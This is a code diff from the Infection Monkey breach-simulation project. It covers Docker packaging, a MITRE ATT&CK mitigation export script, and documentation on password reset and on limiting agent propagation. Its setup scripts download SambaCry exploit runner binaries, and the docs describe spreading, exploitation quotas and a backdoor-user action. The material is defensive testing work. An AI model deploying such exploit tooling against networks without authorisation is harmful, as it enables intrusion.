||||
EXPOSE 5001
|
||||
ENV MONKEY_DOCKER_CONTAINER=true
|
||||
RUN groupadd -r monkey-island && useradd --no-log-init -r -g monkey-island monkey-island
|
||||
RUN chmod 444 /monkey/monkey_island/cc/server.key
|
||||
RUN chmod 444 /monkey/monkey_island/cc/server.csr
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
DOCKER_DIR="$(realpath $(dirname $BASH_SOURCE[0]))"
|
||||
OUTPUT_NAME_TGZ="$DOCKER_DIR/infection_monkey_docker_$(date +%Y%m%d_%H%M%S).tgz"
|
||||
|
||||
source "$DOCKER_DIR/../common.sh"
|
||||
|
||||
|
@ -18,6 +17,7 @@ setup_build_dir() {
|
|||
|
||||
copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$build_dir"
|
||||
copy_server_config_to_build_dir "$build_dir"
|
||||
modify_deployment "$deployment_type" "$build_dir"
|
||||
add_agent_binaries_to_build_dir "$agent_binary_dir" "$build_dir"
|
||||
|
||||
generate_ssl_cert "$build_dir"
|
||||
|
@ -36,16 +36,25 @@ copy_server_config_to_build_dir() {
|
|||
|
||||
build_package() {
|
||||
local version=$1
|
||||
local dist_dir=$2
|
||||
local commit_id=$2
|
||||
local dist_dir=$3
|
||||
pushd ./docker
|
||||
|
||||
if [ -n "$1" ]; then
|
||||
version="v$version"
|
||||
else
|
||||
version="$commit_id"
|
||||
fi
|
||||
|
||||
docker_image_name="guardicore/monkey-island:$version"
|
||||
tar_name="$DOCKER_DIR/dk.monkeyisland.$version.tar"
|
||||
tar_name="$DOCKER_DIR/InfectionMonkey-docker-$version.tar"
|
||||
|
||||
build_docker_image_tar "$docker_image_name" "$tar_name"
|
||||
build_docker_image_tgz "$tar_name" "$version"
|
||||
|
||||
move_package_to_dist_dir $dist_dir
|
||||
tgz_name="$DOCKER_DIR/InfectionMonkey-docker-$version.tgz"
|
||||
build_docker_image_tgz "$tar_name" "$tgz_name"
|
||||
|
||||
move_package_to_dist_dir $tgz_name $dist_dir
|
||||
|
||||
popd
|
||||
}
|
||||
|
@ -59,9 +68,9 @@ build_docker_image_tgz() {
|
|||
mkdir tgz
|
||||
mv "$1" ./tgz
|
||||
cp ./DOCKER_README.md ./tgz/README.md
|
||||
tar -C ./tgz -cvf "$OUTPUT_NAME_TGZ" --gzip .
|
||||
tar -C ./tgz -cvf "$2" --gzip .
|
||||
}
|
||||
|
||||
move_package_to_dist_dir() {
|
||||
mv $OUTPUT_NAME_TGZ "$1/"
|
||||
mv "$1" "$2/"
|
||||
}
|
||||
|
|
|
@ -2,8 +2,7 @@
|
|||
"data_dir": "/monkey_island_data",
|
||||
"log_level": "DEBUG",
|
||||
"environment": {
|
||||
"server_config": "password",
|
||||
"deployment": "docker"
|
||||
"server_config": "password"
|
||||
},
|
||||
"mongodb": {
|
||||
"start_mongodb": false
|
||||
|
|
|
@ -37,10 +37,6 @@ export WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/down
|
|||
export WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||
export WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/monkey-windows-64.exe"
|
||||
|
||||
# Other binaries for monkey
|
||||
export TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute64"
|
||||
export TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/traceroute32"
|
||||
|
||||
export SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner64.so"
|
||||
export SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/$MONKEY_LATEST_RELEASE/sc_monkey_runner32.so"
|
||||
|
||||
|
|
|
@ -24,8 +24,6 @@ $SAMBA_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner32.so"
|
|||
$SAMBA_32_BINARY_NAME = "sc_monkey_runner32.so"
|
||||
$SAMBA_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "sc_monkey_runner64.so"
|
||||
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
||||
$TRACEROUTE_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute64"
|
||||
$TRACEROUTE_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "traceroute32"
|
||||
|
||||
# Other directories and paths ( most likely you dont need to configure)
|
||||
$MONKEY_ISLAND_DIR = Join-Path "\monkey" -ChildPath "monkey_island"
|
||||
|
|
|
@ -227,16 +227,6 @@ else
|
|||
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner64.so ${SAMBACRY_64_BINARY_URL}
|
||||
curl -o ${MONKEY_BIN_DIR}/sc_monkey_runner32.so ${SAMBACRY_32_BINARY_URL}
|
||||
fi
|
||||
# Download traceroute binaries
|
||||
log_message "Downloading traceroute binaries"
|
||||
# shellcheck disable=SC2086
|
||||
if exists wget; then
|
||||
wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_64_BINARY_URL}
|
||||
wget -c -N -P "${MONKEY_BIN_DIR}" ${TRACEROUTE_32_BINARY_URL}
|
||||
else
|
||||
curl -o ${MONKEY_BIN_DIR}/traceroute64 ${TRACEROUTE_64_BINARY_URL}
|
||||
curl -o ${MONKEY_BIN_DIR}/traceroute32 ${TRACEROUTE_32_BINARY_URL}
|
||||
fi
|
||||
|
||||
# Download Swimm
|
||||
log_message "Downloading swimm"
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
from typing import Dict
|
||||
|
||||
from mongoengine import Document, EmbeddedDocument, EmbeddedDocumentField, ListField, StringField
|
||||
from stix2 import AttackPattern, CourseOfAction
|
||||
|
||||
|
||||
class Mitigation(EmbeddedDocument):
|
||||
name = StringField(required=True)
|
||||
description = StringField(required=True)
|
||||
url = StringField()
|
||||
|
||||
@staticmethod
|
||||
def get_from_stix2_data(mitigation: CourseOfAction):
|
||||
name = mitigation["name"]
|
||||
description = mitigation["description"]
|
||||
url = get_stix2_external_reference_url(mitigation)
|
||||
return Mitigation(name=name, description=description, url=url)
|
||||
|
||||
|
||||
class AttackMitigations(Document):
|
||||
technique_id = StringField(required=True, primary_key=True)
|
||||
mitigations = ListField(EmbeddedDocumentField("Mitigation"))
|
||||
|
||||
def add_mitigation(self, mitigation: CourseOfAction):
|
||||
mitigation_external_ref_id = get_stix2_external_reference_id(mitigation)
|
||||
if mitigation_external_ref_id.startswith("M"):
|
||||
self.mitigations.append(Mitigation.get_from_stix2_data(mitigation))
|
||||
|
||||
def add_no_mitigations_info(self, mitigation: CourseOfAction):
|
||||
mitigation_external_ref_id = get_stix2_external_reference_id(mitigation)
|
||||
if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0:
|
||||
mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation)
|
||||
mitigation_mongo_object["description"] = mitigation_mongo_object[
|
||||
"description"
|
||||
].splitlines()[0]
|
||||
mitigation_mongo_object["url"] = ""
|
||||
self.mitigations.append(mitigation_mongo_object)
|
||||
|
||||
@staticmethod
|
||||
def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]):
|
||||
return {
|
||||
key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern)
|
||||
for key, attack_pattern in stix2_dict.items()
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def mitigations_from_attack_pattern(attack_pattern: AttackPattern):
|
||||
return AttackMitigations(
|
||||
technique_id=get_stix2_external_reference_id(attack_pattern),
|
||||
mitigations=[],
|
||||
)
|
||||
|
||||
|
||||
def get_stix2_external_reference_url(stix2_data) -> str:
|
||||
for reference in stix2_data["external_references"]:
|
||||
if "url" in reference:
|
||||
return reference["url"]
|
||||
return ""
|
||||
|
||||
|
||||
def get_stix2_external_reference_id(stix2_data) -> str:
|
||||
for reference in stix2_data["external_references"]:
|
||||
if reference["source_name"] == "mitre-attack" and "external_id" in reference:
|
||||
return reference["external_id"]
|
||||
return ""
|
|
@ -0,0 +1,184 @@
|
|||
import argparse
|
||||
import json
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Dict, List
|
||||
|
||||
import mongoengine
|
||||
import pymongo
|
||||
from attack_mitigations import AttackMitigations
|
||||
from bson import json_util
|
||||
from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter
|
||||
|
||||
COLLECTION_NAME = "attack_mitigations"
|
||||
|
||||
|
||||
def main():
|
||||
args = parse_args()
|
||||
|
||||
set_default_mongo_connection(args.database_name, args.mongo_host, args.mongo_port)
|
||||
|
||||
mongo_client = pymongo.MongoClient(host=args.mongo_host, port=args.mongo_port)
|
||||
database = mongo_client.get_database(args.database_name)
|
||||
|
||||
clean_collection(database)
|
||||
populate_attack_mitigations(database, Path(args.cti_repo))
|
||||
dump_attack_mitigations(database, Path(args.cti_repo), Path(args.dump_file_path))
|
||||
|
||||
|
||||
def parse_args():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Export attack mitigations from a database",
|
||||
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--mongo_host", default="localhost", help="URL for mongo database.", required=False
|
||||
)
|
||||
parser.add_argument(
|
||||
"--mongo-port",
|
||||
action="store",
|
||||
default=27017,
|
||||
type=int,
|
||||
help="Port for mongo database.",
|
||||
required=False,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--database-name",
|
||||
action="store",
|
||||
default="monkeyisland",
|
||||
help="Database name inside of mongo.",
|
||||
required=False,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--cti-repo",
|
||||
action="store",
|
||||
default="attack_mitigations",
|
||||
help="The path to the Cyber Threat Intelligence Repository.",
|
||||
required=True,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--dump-file-path",
|
||||
action="store",
|
||||
default="./attack_mitigations.json",
|
||||
help="A file path where the database dump will be saved.",
|
||||
required=False,
|
||||
)
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def set_default_mongo_connection(database_name: str, host: str, port: int):
|
||||
mongoengine.connect(db=database_name, host=host, port=port)
|
||||
|
||||
|
||||
def clean_collection(database: pymongo.database.Database):
|
||||
if collection_exists(database, COLLECTION_NAME):
|
||||
database.drop_collection(COLLECTION_NAME)
|
||||
|
||||
|
||||
def collection_exists(database: pymongo.database.Database, collection_name: str) -> bool:
|
||||
return collection_name in database.list_collection_names()
|
||||
|
||||
|
||||
def populate_attack_mitigations(database: pymongo.database.Database, cti_repo: Path):
|
||||
database.create_collection(COLLECTION_NAME)
|
||||
attack_data_path = cti_repo / "enterprise-attack"
|
||||
|
||||
stix2_mitigations = get_all_mitigations(attack_data_path)
|
||||
mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(
|
||||
get_all_attack_techniques(attack_data_path)
|
||||
)
|
||||
mitigation_technique_relationships = get_technique_and_mitigation_relationships(
|
||||
attack_data_path
|
||||
)
|
||||
for relationship in mitigation_technique_relationships:
|
||||
mongo_mitigations[relationship["target_ref"]].add_mitigation(
|
||||
stix2_mitigations[relationship["source_ref"]]
|
||||
)
|
||||
for relationship in mitigation_technique_relationships:
|
||||
mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info(
|
||||
stix2_mitigations[relationship["source_ref"]]
|
||||
)
|
||||
for key, mongo_object in mongo_mitigations.items():
|
||||
mongo_object.save()
|
||||
|
||||
|
||||
def get_all_mitigations(attack_data_path: Path) -> Dict[str, CourseOfAction]:
|
||||
file_system = FileSystemSource(attack_data_path)
|
||||
mitigation_filter = [Filter("type", "=", "course-of-action")]
|
||||
all_mitigations = file_system.query(mitigation_filter)
|
||||
all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations}
|
||||
return all_mitigations
|
||||
|
||||
|
||||
def get_all_attack_techniques(attack_data_path: Path) -> Dict[str, AttackPattern]:
|
||||
file_system = FileSystemSource(attack_data_path)
|
||||
technique_filter = [Filter("type", "=", "attack-pattern")]
|
||||
all_techniques = file_system.query(technique_filter)
|
||||
all_techniques = {technique["id"]: technique for technique in all_techniques}
|
||||
return all_techniques
|
||||
|
||||
|
||||
def get_technique_and_mitigation_relationships(attack_data_path: Path) -> List[CourseOfAction]:
|
||||
file_system = FileSystemSource(attack_data_path)
|
||||
technique_filter = [
|
||||
Filter("type", "=", "relationship"),
|
||||
Filter("relationship_type", "=", "mitigates"),
|
||||
]
|
||||
all_techniques = file_system.query(technique_filter)
|
||||
return all_techniques
|
||||
|
||||
|
||||
def dump_attack_mitigations(
|
||||
database: pymongo.database.Database, cti_repo: Path, dump_file_path: Path
|
||||
):
|
||||
if not collection_exists(database, COLLECTION_NAME):
|
||||
raise Exception(f"Could not find collection: {COLLECTION_NAME}")
|
||||
|
||||
metadata = get_metadata(cti_repo)
|
||||
data = get_data_from_database(database)
|
||||
|
||||
json_output = f'{{"metadata":{json.dumps(metadata)},"data":{json_util.dumps(data)}}}'
|
||||
|
||||
with open(dump_file_path, "wb") as jsonfile:
|
||||
jsonfile.write(json_output.encode())
|
||||
|
||||
|
||||
def get_metadata(cti_repo: Path) -> dict:
|
||||
timestamp = str(time.time())
|
||||
commit_hash = get_commit_hash(cti_repo)
|
||||
origin_url = get_origin_url(cti_repo)
|
||||
|
||||
return {"timestamp": timestamp, "commit_hash": commit_hash, "origin_url": origin_url}
|
||||
|
||||
|
||||
def get_commit_hash(cti_repo: Path) -> str:
|
||||
return run_command(["git", "rev-parse", "--short", "HEAD"], cti_repo).strip()
|
||||
|
||||
|
||||
def get_origin_url(cti_repo: Path) -> str:
|
||||
return run_command(["git", "remote", "get-url", "origin"], cti_repo).strip()
|
||||
|
||||
|
||||
def run_command(cmd: List, cwd: Path = None) -> str:
|
||||
cp = subprocess.run(cmd, capture_output=True, cwd=cwd, encoding="utf-8")
|
||||
|
||||
if cp.returncode != 0:
|
||||
raise Exception(
|
||||
f"Error running command -- Command: {cmd} -- Return Code: {cp.returncode} -- stderr: "
|
||||
f"{cp.stderr}"
|
||||
)
|
||||
|
||||
return cp.stdout
|
||||
|
||||
|
||||
def get_data_from_database(database: pymongo.database.Database) -> pymongo.cursor.Cursor:
|
||||
collection = database.get_collection(COLLECTION_NAME)
|
||||
collection_contents = collection.find()
|
||||
|
||||
return collection_contents
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
|
@ -0,0 +1,13 @@
|
|||
antlr4-python3-runtime==4.8
|
||||
certifi==2021.5.30
|
||||
charset-normalizer==2.0.6
|
||||
idna==3.2
|
||||
mongoengine==0.23.1
|
||||
pymongo==3.12.0
|
||||
pytz==2021.1
|
||||
requests==2.26.0
|
||||
simplejson==3.17.5
|
||||
six==1.16.0
|
||||
stix2==3.0.1
|
||||
stix2-patterns==1.3.2
|
||||
urllib3==1.26.7
|
|
@ -8,8 +8,10 @@ pre: "<i class='fas fa-question'></i> "
|
|||
Below are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey).
|
||||
|
||||
- [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey)
|
||||
- [I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why?](#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why)
|
||||
- [How can I use an old data directory?](#how-can-i-use-an-old-data-directory)
|
||||
- [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit)
|
||||
- [Is the Infection Monkey a malware/virus?](#is-infection-monkey-a-malwarevirus)
|
||||
- [Is the Infection Monkey a malware/virus?](#is-the-infection-monkey-a-malwarevirus)
|
||||
- [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password)
|
||||
- [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously)
|
||||
- [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly)
|
||||
|
@ -26,6 +28,7 @@ Below are some of the most common questions we receive about the Infection Monke
|
|||
- [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent)
|
||||
- [How can I make the Infection Monkey agents propagate “deeper” into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network)
|
||||
- [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen)
|
||||
- [Can I limit how the Infection Monkey propagates through my network?](#can-i-limit-how-the-infection-monkey-propagates-through-my-network)
|
||||
- [How can I get involved with the project?](#how-can-i-get-involved-with-the-project)
|
||||
|
||||
## Where can I get the latest version of the Infection Monkey?
|
||||
|
@ -34,6 +37,24 @@ For the latest **stable** release, visit [our downloads page](https://www.guardi
|
|||
|
||||
If you want to see what has changed between versions, refer to the [releases page on GitHub](https://github.com/guardicore/monkey/releases). For the latest development version, visit the [develop version on GitHub](https://github.com/guardicore/monkey/tree/develop).
|
||||
|
||||
## I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why?
|
||||
|
||||
The [data directory]({{< ref "/reference/data_directory" >}}) contains the
|
||||
Infection Monkey's database and other internal
|
||||
data. For the new version of Infection Monkey to work flawlessly, a data
|
||||
directory with a compatible structure needs to be set up.
|
||||
|
||||
If you would like to save the data gathered from the Monkey's previous runs,
|
||||
you can make a backup of your [existing data directory]({{< ref
|
||||
"/reference/data_directory" >}}) before deleting it.
|
||||
|
||||
## How can I use an old data directory?
|
||||
|
||||
To use the data stored in a data directory from an older version, reinstall the
|
||||
version of the Monkey Island which matches your data directory's version. Then,
|
||||
copy the backup of your old data directory to the [appropriate location]({{<
|
||||
ref "/reference/data_directory" >}}).
|
||||
|
||||
## How long does a single Infection Monkey agent run? Is there a time limit?
|
||||
|
||||
The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration.
|
||||
|
@ -51,44 +72,92 @@ Monkey in the newly created folder.
|
|||
|
||||
## Reset/enable the Monkey Island password
|
||||
|
||||
|
||||
{{% notice warning %}}
|
||||
If you reset the credentials, the database will be cleared. Any findings of the Infection Monkey from previous runs will be lost. <br/><br/>
|
||||
However, you can save the Monkey's existing configuration by logging in with your current credentials and clicking on the **Export config** button on the configuration page.
|
||||
{{% /notice %}}
|
||||
|
||||
### On Windows and Linux (AppImage)
|
||||
|
||||
When you first access the Monkey Island server, you'll be prompted to create an account.
|
||||
To reset the credentials or enable/disable the authentication,
|
||||
edit the `server_config.json` file manually
|
||||
(located in the [data directory](/reference/data_directory)).
|
||||
To reset the credentials, edit the `server_config.json` file manually
|
||||
(located in the [data directory]({{< ref "/reference/data_directory" >}})).
|
||||
|
||||
In order to reset the credentials, the following edits need to be made:
|
||||
1. Delete the `user` field if one exists. It will look like this:
|
||||
```json
|
||||
{
|
||||
...
|
||||
"user": "username",
|
||||
...
|
||||
}
|
||||
```
|
||||
1. Delete the `password_hash` field if one exists. It will look like this:
|
||||
```json
|
||||
{
|
||||
...
|
||||
"password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342",
|
||||
...
|
||||
}
|
||||
```
|
||||
1. Delete the `user` field. It will look like this:
|
||||
```json
|
||||
{
|
||||
...
|
||||
"user": "username",
|
||||
...
|
||||
}
|
||||
```
|
||||
1. Delete the `password_hash` field. It will look like this:
|
||||
```json
|
||||
{
|
||||
...
|
||||
"password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342",
|
||||
...
|
||||
}
|
||||
```
|
||||
1. Set `server_config` to `password`. It should look like this:
|
||||
```json
|
||||
{
|
||||
...
|
||||
"environment": {
|
||||
...
|
||||
"server_config": "password",
|
||||
...
|
||||
},
|
||||
...
|
||||
}
|
||||
```
|
||||
Then, reset the Monkey Island process.
|
||||
On Linux, use `sudo systemctl restart monkey-island.service`.
|
||||
On Windows, restart the program.
|
||||
Finally, go to the Monkey Island's URL and create a new account.
|
||||
```json
|
||||
{
|
||||
...
|
||||
"environment": {
|
||||
...
|
||||
"server_config": "password",
|
||||
...
|
||||
},
|
||||
...
|
||||
}
|
||||
```
|
||||
1. Restart the Monkey Island process:
|
||||
* On Linux, simply kill the Monkey Island process and execute the AppImage.
|
||||
* On Windows, restart the program.
|
||||
|
||||
1. Go to the Monkey Island's URL and create a new account.
|
||||
|
||||
If you are still unable to log into Monkey Island after following the above
|
||||
steps, you can perform a complete factory reset by removing the entire [data
|
||||
directory]({{< ref "/reference/data_directory" >}}) and then restarting the
|
||||
Monkey Island process.
|
||||
|
||||
### On Docker
|
||||
When you first access the Monkey Island server, you'll be prompted to create an account.
|
||||
To reset the credentials, you'll need to perform a complete factory reset:
|
||||
|
||||
1. Kill the Monkey Island container:
|
||||
```bash
|
||||
sudo docker kill monkey-island
|
||||
```
|
||||
1. Kill the MongoDB container:
|
||||
```bash
|
||||
sudo docker kill monkey-mongo
|
||||
```
|
||||
1. Remove the MongoDB volume:
|
||||
```bash
|
||||
sudo docker volume rm db
|
||||
```
|
||||
1. Restart the MongoDB container:
|
||||
```bash
|
||||
sudo docker run \
|
||||
--name monkey-mongo \
|
||||
--network=host \
|
||||
--volume db:/data/db \
|
||||
--detach \
|
||||
mongo:4.2
|
||||
```
|
||||
1. Restart the Monkey Island container
|
||||
```bash
|
||||
sudo docker run \
|
||||
--name monkey-island \
|
||||
--network=host \
|
||||
guardicore/monkey-island:VERSION
|
||||
```
|
||||
1. Go to the Monkey Island's URL and create a new account.
|
||||
|
||||
|
||||
## Should I run the Infection Monkey continuously?
|
||||
|
||||
|
@ -119,7 +188,7 @@ You can download the Monkey Island's log file directly from the UI. Click the "l
|
|||
![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file")
|
||||
|
||||
It can also be found as a local file on the Monkey Island server system in the specified
|
||||
[data directory](/reference/data_directory).
|
||||
[data directory]({{< ref "/reference/data_directory" >}}).
|
||||
|
||||
The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these:
|
||||
|
||||
|
@ -155,7 +224,7 @@ The logs contain information about the internals of the Infection Monkey agent's
|
|||
### How do I change the log level of the Monkey Island logger?
|
||||
|
||||
The log level of the Monkey Island logger is set in the `log_level` field
|
||||
in the `server_config.json` file (located in the [data directory](/reference/data_directory)).
|
||||
in the `server_config.json` file (located in the [data directory]({{< ref "/reference/data_directory" >}})).
|
||||
Make sure to leave everything else in `server_config.json` unchanged:
|
||||
|
||||
```json
|
||||
|
@ -225,6 +294,58 @@ This is sometimes caused when Monkey Island is installed with an old version of
|
|||
- **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/).
|
||||
- **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work.
|
||||
|
||||
## Can I limit how the Infection Monkey propagates through my network?
|
||||
|
||||
Yes! To limit how the Infection Monkey propagates through your network, you can:
|
||||
|
||||
#### Adjust the scan depth
|
||||
|
||||
The scan depth limits the number of hops that the Infection Monkey agent will
|
||||
spread from patient zero. If you set the scan depth to one, the agent will only
|
||||
reach a single hop from the initially infected machine. Scan depth does not
|
||||
limit the number of devices, just the number of hops.
|
||||
|
||||
- **Example**: In this example, the scan depth is set to two. _Host A_ scans the
|
||||
network and finds hosts _B, C, D_ and _E_. The Infection Monkey agent
|
||||
successfully propagates from _Host A_ to _Host C_. Since the scan depth is 2,
|
||||
the agent will pivot from _Host C_ and continue to scan other machines on the
|
||||
network. However, if _Host C_ successfully breaches _Host E_, it will not pivot
|
||||
further nor continue to scan or propagate.
|
||||
|
||||
![What is scan depth](/images/faq/propagation_depth_diagram.png "What is scan
|
||||
depth")
|
||||
|
||||
|
||||
#### Enable or disable scanning the local subnet
|
||||
|
||||
You can find the settings that define how the Infection Monkey will scan your
|
||||
network in `Configuration -> Network`. Each agent will scan its entire local
|
||||
subnet by default, but you can disable this behavior by unchecking the `Local
|
||||
network scan` button.
|
||||
|
||||
#### Add IPs to the IP allow list
|
||||
|
||||
You can specify which hosts you want the Infection Monkey agents to attempt to
|
||||
scan in the `Configuration -> Network -> Scan target list` section.
|
||||
|
||||
#### Add IPs to the IP block list
|
||||
|
||||
|
||||
If there are any hosts on your network that you would like to prevent the
|
||||
Infection Monkey from scanning or exploiting, you can add them to the list of
|
||||
"Blocked IPs" in `Configuration -> Network -> Blocked IPs`.
|
||||
|
||||
#### Specify max number of victims to find/exploit
|
||||
|
||||
Two settings in `Configuration -> Internal -> Monkey` allow you to further
|
||||
limit the Infection Monkey's propagation:
|
||||
|
||||
- **Max victims to find**: This limits the total number of machines that the
|
||||
Infection Monkey is allowed to scan.
|
||||
- **Max victims to exploit**: This limits the total number of machines that the
|
||||
Infection Monkey is allowed to successfully exploit.
|
||||
|
||||
|
||||
## How can I get involved with the project?
|
||||
|
||||
Infection Monkey is an open-source project, and we welcome contributions and contributors. Check out the [contribution documentation]({{< ref "/development" >}}) for more information.
|
||||
|
|
|
@ -39,9 +39,9 @@ class MyNewPba(PBA):
|
|||
|
||||
#### Implementation
|
||||
|
||||
If your PBA consists only of simple shell commands, you can reuse the generic PBA by passing the commands into the constructor. See the `add_user.py` PBA for reference.
|
||||
If your PBA consists only of simple shell commands, you can reuse the generic PBA by passing the commands into the constructor. See the `account_discovery.py` PBA for reference.
|
||||
|
||||
Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_new_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well.
|
||||
Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_backdoor_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well.
|
||||
|
||||
### Modify the Monkey Island
|
||||
|
||||
|
@ -73,4 +73,4 @@ Now you can choose your PBA when configuring the Infection Monkey on the Monkey
|
|||
|
||||
#### Telemetry processing
|
||||
|
||||
If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_new_user_telemetry` method as an example.
|
||||
If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_backdoor_user_telemetry` method as an example.
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
---
|
||||
title: "MITRE ATT&CK Mitigations"
|
||||
date: 2021-09-30T08:18:37+03:00
|
||||
draft: true
|
||||
weight: 10
|
||||
---
|
||||
|
||||
{{% notice info %}}
|
||||
Check out [the documentation for the MITRE ATT&CK techniques as well]({{< ref "/reports/mitre" >}}).
|
||||
{{% /notice %}}
|
||||
|
||||
## Summary
|
||||
|
||||
Attack Mitigations are presented in MITRE ATT&CK report. They appear next to
|
||||
descriptions of attack techniques and suggest steps that can be taken to reduce
|
||||
the risk of that particular technique being successful in a network. They also
|
||||
provide links for further reading on https://attack.mitre.org/
|
||||
|
||||
The Infection Monkey is shipped with pre-processed information about MITRE
|
||||
ATT&CK mitigations located at
|
||||
`monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. This may need to
|
||||
be periodically updated as the MITRE ATT&CK framework evolves.
|
||||
|
||||
|
||||
## Updating the MITRE ATT&CK mitigations data
|
||||
1. Clone the [MITRE Cyber Threat Intelligence
|
||||
Repository](https://github.com/mitre/cti) or the [Guardicore
|
||||
fork](https://github.com/guardicore/cti):
|
||||
```
|
||||
$ CTI_REPO=$PWD/cti
|
||||
$ git clone <REPO> $CTI_REPO
|
||||
```
|
||||
2. Start a MongoDB v4.2 server.
|
||||
3. Run the script to generate the `attack_mitigations.json` file:
|
||||
```
|
||||
$ cd monkey/deployment_scripts/dump_attack_mitigations
|
||||
$ pip install -r requirements.txt
|
||||
$ python dump_attack_mitigations.py --cti-repo $CTI_REPO --dump-file-path ../../monkey/monkey_island/cc/setup/mongo/attack_mitigations.json
|
||||
```
|
|
@ -16,3 +16,30 @@ configuration files, etc.
|
|||
|
||||
On Linux, the default path is `$HOME/.monkey_island`.
|
||||
On Windows, the default path is `%AppData%\monkey_island`.
|
||||
|
||||
## How do I configure the location of the data directory on Linux?
|
||||
|
||||
The location of the data directory is set in the `data_dir` field in the
|
||||
`server_config.json` file.
|
||||
|
||||
1. Create a custom `server_config.json` file and set the `data_dir` field. Its
|
||||
contents will look like:
|
||||
|
||||
```json
|
||||
{
|
||||
"log_level": "DEBUG",
|
||||
"environment": {
|
||||
"server_config": "password"
|
||||
},
|
||||
"mongodb": {
|
||||
"start_mongodb": true
|
||||
},
|
||||
"data_dir": "<PATH_TO_DATA_DIR>"
|
||||
}
|
||||
```
|
||||
|
||||
